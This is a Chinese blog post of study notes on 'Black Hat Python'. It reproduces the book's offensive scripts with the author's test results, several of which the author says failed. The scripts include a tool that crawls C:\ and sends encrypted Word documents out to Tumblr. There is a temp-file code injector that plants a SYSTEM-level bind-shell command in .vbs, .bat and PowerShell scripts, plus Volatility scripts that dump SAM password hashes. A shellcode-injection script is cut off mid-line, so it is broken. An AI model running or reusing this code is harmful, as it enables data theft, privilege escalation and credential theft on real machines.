	#将浏览器的焦点从输入主体内容的窗口上移开
	random_sleep()
	title_box.focus()
	random_sleep()

	#提交表单
	post_form.children[0].click()
	wait_for_browser(ie)

	random_sleep()

	return

def exfiltrate(document_path):
	ie = win32com.client.Dispatch("InternetExplorer.Application")
	ie.Visible = 1

	#访问tumblr站点并登录
	ie.Navigate("https://www.tumblr.com/login")
	wait_for_browser(ie)

	print "Logging in..."
	login_to_tumblr(ie)
	print "Logged in...navigating"

	ie.Navigate("https://www.tumblr.com/new/text")
	wait_for_browser(ie)

	#加密文件
	title,body = encrypt_post(document_path)

	print "Creating new post..."
	post_to_tumblr(ie,title,body)
	print "Posted!"

	#销毁IE实例
	ie.Quit()
	ie = None

	return

#用户文档检索的循环
#注意:以下这段代码的第一行没有“tab”缩进
for parent,directories,filenames in os.walk("C:\\"):
	for filename in fnmatch.filter(filenames,"*%s"%doc_type):
		document_path = os.path.join(parent,filename)
		print "Found: %s"%document_path
		exfiltrate(document_path)
		raw_input("Continue?")

这段代码用于捕获本地文件系统中的Word文档,并利用公钥对其进行加密,然后自动启动进程将加密的文档提交到一个位于tumblr.com站点的博客上。

运行结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第60张图片

访问tumblr需要FQ,在脚本一运行的时候就会弹出IE登录tumblr的窗口,登录成功后也压缩文件成功了,但是到使用RSA公钥加密时出错了,报错说的是RSA密钥格式不支持,不知道是不是下载的PyCrypto库版本不同。。。

就是差这步就可以上传成功的,成功后如图可以查看到POST的内容:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第61张图片

然后将上面的内容复制下来到解密的那个脚本中运行即可知道该文档的名称和内容是什么了。


第十章——Windows系统提权

环境准备:

pywin32的安装在第八章的键盘记录中有,这里还需要安装wmi:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第62张图片

在本人的32位win7上本来是没有easy_install这个命令的,这需要安装setuptools-0.6c11.win32-py2.7.exe即可:http://www.sobaidupan.com/file-3739339.html

接着下载安装bhpservice.zip:https://www.nostarch.com/download/bhpservice.zip,安装步骤按下载下来的文档来进行即可,安装设置成功后查看应该是如图的效果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第63张图片

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第64张图片

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第65张图片

创建进程监视器:
利用WMI监视进程:

#coding=utf-8
import win32con
import win32api
import win32security

import wmi
import sys
import os

def log_to_file(message):
	fd = open("process_monitor_log.csv","ab")
	fd.write("%s\r\n"%message)
	fd.close()

	return

#创建一个日志文件的头
log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")

#初始化WMI接口
c= wmi.WMI()

#创建进程监控器
process_watcher = c.Win32_Process.watch_for("creation") 

while True:
	try:
		new_process = process_watcher()

		proc_owner = new_process.GetOwner()
		proc_owner = "%s\\%s"%(proc_owner[0],proc_owner[2])
		create_data = new_process.CreationDate
		executable = new_process.ExecutablePath
		cmdline = new_process.CommandLine
		pid = new_process.ProcessId
		parent_pid = new_process.ParentProcessId
		privileges = "N/A"

		process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n"%(create_data,proc_owner,executable,cmdline,pid,parent_pid,privileges)

		print process_log_message

		log_to_file(process_log_message)

	except:
		pass

在win7中以管理员运行cmd来执行该脚本,然后打开计算器和Notepad,可以看到:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第66张图片

同时在脚本所在目录会生成一个csv文件,打开可以看到其记录了脚本监视到的进程的记录:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第67张图片

Windows系统的令牌权限:

Windows系统的令牌是指:“一个包含进程或线程上下文安全信息的对象”。

三个有意思的权限:

1、SeBackupPrivilege:使得用户进程可以备份文件和目录,读取任何文件而无须关注它的访问控制列表(ACL)。

2、SeDebugPrivilege:使得用户进程可以调试其他进程,当然包括获取进程句柄以便将DLL或者代码插入到运行的进程中去。

3、SeLoadDriver:使得用户进程可以加载或者卸载驱动。

可以看到上一小节的脚本对于进程的权限并没有进行相应有效的处理,这次就是在此基础上添加一个对进程权限进行处理的函数。

#coding=utf-8
import win32con
import win32api
import win32security

import wmi
import sys
import os

def get_process_privileges(pid):
	try:
		#获取目标进程的句柄
		hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION,False,pid)

		#打开主进程的令牌
		htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY)

		#解析已启用权限的列表
		privs = win32security.GetTokenInformation(htok,win32security.TokenPrivileges)

		#迭代每个权限并输出其中已经启用的
		priv_list = ""
		for i in privs:
			#检测权限是否已经启用
			if i[1] == 3:
				priv_list += "%s|" % win32security.LookupPrivilegeName(None,i[0])
	except Exception as e:
		priv_list = "N/A"

	return priv_list

def log_to_file(message):
	fd = open("process_monitor_log.csv","ab")
	fd.write("%s\r\n"%message)
	fd.close()

	return

#创建一个日志文件的头
log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")

#初始化WMI接口
c= wmi.WMI()

#创建进程监控器
process_watcher = c.Win32_Process.watch_for("creation") 

while True:
	try:
		new_process = process_watcher()

		proc_owner = new_process.GetOwner()
		proc_owner = "%s\\%s"%(proc_owner[0],proc_owner[2])
		create_data = new_process.CreationDate
		executable = new_process.ExecutablePath
		cmdline = new_process.CommandLine
		pid = new_process.ProcessId
		parent_pid = new_process.ParentProcessId
		privileges = get_process_privileges(pid)

		process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n"%(create_data,proc_owner,executable,cmdline,pid,parent_pid,privileges)

		print process_log_message

		log_to_file(process_log_message)

	except:
		pass

运行结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第68张图片

赢得竞争:

有些软件会把文件复制到一个临时目录下,等执行完之后就删除它。为了在这种条件下要进行权限漏洞的利用,必须在和目标程序执行脚本的竞争中占先。当软件或计划任务创建文件的时候,必须能够在进程执行和删除文件之前插入代码。这里可以使用ReadDirectoryChangesW()函数来实现,可以让我们监控一个目录中的任何文件或者子目录的变化。

#coding=utf-8
import tempfile
import threading
import win32file
import win32con
import os

#这些是典型的临时文件所在的路径
dirs_to_monitor = ["C:\\Windows\\Temp",tempfile.gettempdir()]

#文件修改行为对应的常量
FILE_CREATED	= 1
FILE_DELETED	= 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5

def start_monitor(path_to_watch):
	#为每个监控器起一个线程
	FILE_LIST_DIRECTORY = 0x0001

	h_directory = win32file.CreateFile(
		path_to_watch,
		FILE_LIST_DIRECTORY,
		win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
		None,
		win32con.OPEN_EXISTING,
		win32con.FILE_FLAG_BACKUP_SEMANTICS,
		None)

	while 1:
		try:
			results = win32file.ReadDirectoryChangesW(
				h_directory,
				1024,
				True,
				win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY,
				None,
				None
				)

			for action,file_name in results:
				full_filename = os.path.join(path_to_watch,file_name)

				if action == FILE_CREATED:
					print "[+] Created %s"%full_filename
				elif action == FILE_DELETED:
					print "[+] Deleted %s"%full_filename
				elif action == FILE_MODIFIED:
					print "[+] Modified %s"%full_filename

					#输出文件内容
					print "[vvv] Dumping contents..."

					try:
						fd = open(full_filename,"rb")
						contents = fd.read()
						fd.close()
						print contents
						print "[^^^] Dump complete."
					except:
						print "[!!!] Failed."
				elif action == FILE_RENAMED_FROM:
					print "[>] Renamed from: %s"%full_filename
				elif action == FILE_RENAMED_TO:
					print "[>] Renamed to: %s"%full_filename
				else:
					print "[???] Unknown: %s"%full_filename
		except:
			pass

for path in dirs_to_monitor:
	monitor_thread = threading.Thread(target=start_monitor,args=(path,))
	print "Spawning monitoring thread for path: %s"%path
	monitor_thread.start()

运行结果:

先运行脚本,然后打开新的cmd输入以下内容:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第69张图片

在脚本运行的窗口可以看到监听到的内容:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第70张图片

代码插入:

这段代码是对上一小节的代码进行添加相应的代码而已,实现对VB、批处理和PowerShell三个脚本语言的临时文件进行代码插入,从而实现将以原生服务的权限执行bhpnet.py的编译版本,然后通过其查看实现的提权信息。

#coding=utf-8
import tempfile
import threading
import win32file
import win32con
import os

#这些是典型的临时文件所在的路径
dirs_to_monitor = ["C:\\Windows\\Temp",tempfile.gettempdir()]

#文件修改行为对应的常量
FILE_CREATED	= 1
FILE_DELETED	= 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5

file_types = {}

command = "C:\\Windows\\Temp\\bhpnet.exe -l -p 9999 -c"
file_types['.vbs'] = ["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n"%command]

file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n"%command]
file_types['.psl'] = ["\r\n#bhpmarker","Start-Process \"%s\"\r\n"%command]

#用于执行代码插入的函数
def inject_code(full_filename,extension,contents):
	#判断文件是否存在标记
	if file_types[extension][0] in contents:
		return

	#如果没有标记的话,那么插入代码并标记
	full_contents = file_types[extension][0]
	full_contents += file_types[extension][1]
	full_contents += contents

	fd = open(full_filename,"wb")
	fd.write(full_contents)
	fd.close()

	print "[\o/] Injected code."

	return

def start_monitor(path_to_watch):
	#为每个监控器起一个线程
	FILE_LIST_DIRECTORY = 0x0001

	h_directory = win32file.CreateFile(
		path_to_watch,
		FILE_LIST_DIRECTORY,
		win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
		None,
		win32con.OPEN_EXISTING,
		win32con.FILE_FLAG_BACKUP_SEMANTICS,
		None)

	while 1:
		try:
			results = win32file.ReadDirectoryChangesW(
				h_directory,
				1024,
				True,
				win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY,
				None,
				None
				)

			for action,file_name in results:
				full_filename = os.path.join(path_to_watch,file_name)

				if action == FILE_CREATED:
					print "[+] Created %s"%full_filename
				elif action == FILE_DELETED:
					print "[+] Deleted %s"%full_filename
				elif action == FILE_MODIFIED:
					print "[+] Modified %s"%full_filename

					#输出文件内容
					print "[vvv] Dumping contents..."

					try:
						fd = open(full_filename,"rb")
						contents = fd.read()
						fd.close()
						print contents
						print "[^^^] Dump complete."
					except:
						print "[!!!] Failed."

					filename,extension = os.path.splitext(full_filename)

					if extension in file_types:
						inject_code(full_filename,extension,contents)

				elif action == FILE_RENAMED_FROM:
					print "[>] Renamed from: %s"%full_filename
				elif action == FILE_RENAMED_TO:
					print "[>] Renamed to: %s"%full_filename
				else:
					print "[???] Unknown: %s"%full_filename
		except:
			pass

for path in dirs_to_monitor:
	monitor_thread = threading.Thread(target=start_monitor,args=(path,))
	print "Spawning monitoring thread for path: %s"%path
	monitor_thread.start()

首先开启本章开头下载的服务:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第71张图片

然后运行脚本,看到有注入成功的:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第72张图片

接着在Kali中运行bhpnet.py脚本连接:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第73张图片

通过whoami命令可以查看到,在win7上插入代码的进程确实是以System权限执行的。

这里记多个知识点,就是将py文件转换为exe文件,以bhpnet.py转换为bhpnet.exe文件为例,具体需要安装的Python库在《关于本地提权的学习笔记(二):注入进程和利用漏洞提权》中讲过就不多说了,也是直接上图吧:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第74张图片


这样就将Python文件转换为Windows执行文件exe格式了。


第十一章——自动化攻击取证

工具安装:

下载源码:https://code.google.com/archive/p/volatility/downloads

工具配置:

获取内存镜像:https://www.downloadcrew.com/article/23854-dumpit

打开该工具,输入y:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第75张图片

结果生成raw文件:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第76张图片

将该raw文件放置在volatility目录中,在cmd中运行命令:python vol.py imageinfo -f “WIN-SINT5FVF5I1-20170528-122914.raw”

结果如图,其中最有价值的信息是Suggested Profiles:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第77张图片

当然还可以输入以下命令进行进一步操作:python vol.py plugin --profile=”Win7SP1x86” arguments

其中arguments为参数,可以通过-h参数查看。

抓取口令的哈希值:

由于是对虚拟机vmem文件进行操作,所以就在虚拟机win7中对虚拟机XP的vmem文件执行命令:python vol.py hivelist --profile=”WinXPSP3x86” -f “WinXPenSP3-Snapshot8.vmem”

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第78张图片

特别注意圈中的信息,因为Windows系统将本地用户口令以哈希值的形式存储在注册表项SAM中,将系统引导口令存储在注册表项system中。前面框中的则是两个注册表项的键值所在的虚拟地址和物理内存地址。虚拟地址是这些键值在操作系统内存中的偏移,而物理地址是在磁盘上实际的虚拟机文件.vmem中的偏移。

接下来将虚拟偏移传递给hashdump插件(-y参数指定system,-s参数指定SAM):

python vol.py hashdump -d -d -f "WinXPenSP3-Snapshot8.vmem" --profile=WinXPSP3x86 -y 0xe1035b60 -s 0xe1864990

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第79张图片

到最后应该显示出Administrator用户哈希密码等的信息,但是由于是在虚拟机中进行的测试就没能成功,尝试过在64位的win10上安装pycrypto库但是一直安装失败,因而没办法测试出来,大致知道原理就好吧。

下面的脚本就是将上面的两个步骤合在一起进行哈希值的抓取:

import sys
import struct

memory_file = "WinXPenSP3-Snapshot8.vmem"
sys.path.append("C:\\Python27\\volatility-2.3.1")

import volatility.conf as conf
import volatility.registry as registry

registry.PluginImporter()
config = conf.ConfObject()

import volatility.commands as commands
import volatility.addrspace as addrspace

config.parse_options()
config.PROFILE = "WinXPenSP3x86"
config.LOCALTION = "file://%s"%memory_file

registry.register_global_options(config,commands.Command)
registry.register_global_options(config,addrspace.BaseAddressSpace)

from volatility.plugins.registry.registryapi import RegistryApi
from volatility.plugins.registry.lsadump import HashDump

registry = RegistryApi(config)
registry.populate_offsets()

sam_offset = None
sys_offset = None

for offset in registry.all_offsets:
	if registry.all_offsets[offset].endswith("\\SAM"):
		sam_offset = offset
		print "[*] SAM: 0x%08x"%offset

	if registry.all_offsets[offset].endswith("\\system"):
		sys_offset = offset
		print "[*] System: 0x%08x"%offset
	if sam_offset is not None and sys_offset is not None:
		config.sys_offset = sys_offset
		config.sam_offset = sam_offset

		hashdump = HashDump(config)

		for hash in hashdump.calculate():
			print hash

		break

if sam_offset is None or sys_offset is None:
	print "[*] Failed to find the system or SAM offsets."

运行结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第80张图片

和前面直接用工具时的结果差不多,因为在虚拟机中运行所以测试不能成功,但是原理就是大致如此。

直接代码注入:

首先需要安装Immunity Debugger调试器:http://debugger.immunityinc.com/

codecoverage.py:

from immlib import *

class cc_hook(LogBpHook):
	"""docstring for cc_hook"""
	def __init__(self,):
		LogBpHook.__init__(self)
		self.imm = Debugger()

	def run(self,regs):
		self.imm.log("%08x"%regs['EIP'],regs['EIP'])
		self.imm.deleteBreakpoint(regs['EIP'])

		return

def main(args):
	imm = Debugger()

	calc = imm.getModule("calc.exe")
	imm.analyseCode(calc.getCodebase())

	functions = imm.getAllFunctions(calc.getCodebase())
	hooker = cc_hook()

	for function in functions:
		hooker.add("%08x"%function,function)

	return "Tracking %d functions."%len(functions)

将这个脚本放在Immunity Debugger安装路径的PyCommands文件夹中:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第81张图片

运行Immunity Debugger,打开calc.exe的进程但不运行,然后在调试器下方的命令栏中输入如下命令加载Python脚本:!codecoverage

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第82张图片

然后按F9运行calc.exe,再按Alt+L切换到Log窗口查看:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第83张图片

但是无论怎么测试都没有达到书上查看到“=”等号的地址的效果,即使切换到XP中测试的效果也是一样的,不知道是不是下载的软件版本的问题。。。

但是在XP上有和书上一样的地址(不一定就是等号的,本人不懂逆向不知道。。。):

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第84张图片

没办法,只能拿这个地址测试一下脚本吧:

#coding=utf-8
import sys
import struct

equals_button = 0x01005D51

memory_file = "WinXPenSP3-Snapshot8.vmem"
slack_space = None
trampoline_offset = None

#读入我们的shellcode
sc_fd = open("cmeasure.bin","rb")
sc = sc_fd.read()
sc_fd.close()

sys.path.append("C:\\Python27\\volatility-2.3.1")

import volatility.conf as conf
import volatility.registry as registry

registry.PluginImporter()
config = conf.ConfObject()

import volatility.commands as commands
import volatility.addrspace as addrspace

config.parse_options()
config.PROFILE = "WinXPSP3x86"
config.LOCALTION = "file://%s"%memory_file

import volatility.plugins.taskmods as taskmods

p = taskmods.PSList(config)

for process in p.calculate():
	if str(process.ImageFileName) == "calc.exe":
		print "[*] Found calc.exe with PID %d"%process.UniqueProcessId
		print "[*] Hunting for physical offsets...please wait."

		address_space = process.get_process_address_space()
		pages = address_space.get_available_pages()

		for page in pages:
			physical = address_space.vtop(page[0])
			if physical is not None:
				if slack_space is None:
					fd = open(memory_file,"r+")
					fd.seek(physical)
					buf = fd.read(page[1])

					try:
						offset = buf.index("\x00"*len(sc))
						slack_space = page[0] + offset

						print "[*] Found good shellcode location!"
						print "[*] Virtual address: 0x%08x"%slack_space
						print "[*] Physical address: 0x%08x"%(physical + offset)
						print "[*] Injecting shellcode."

						fd.seek(physical + offset)
						fd.write(sc)
						fd.close()

						#创建我们的跳转代码
						tramp = "\xbb%s"%struct.pack("

到win7上运行:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第85张图片

同样没能成功,但是原理就是和书上说的一样,测试的时候最难搞定的就是环境等的问题了。



关于《Python黑帽子》的编程书上就这么多了,其中很多个脚本都是没能测试成功,在后面会逐一来解决,存在的问题哪位大神懂的就麻烦指导一下咯~

你可能感兴趣的:(python,渗透,脚本)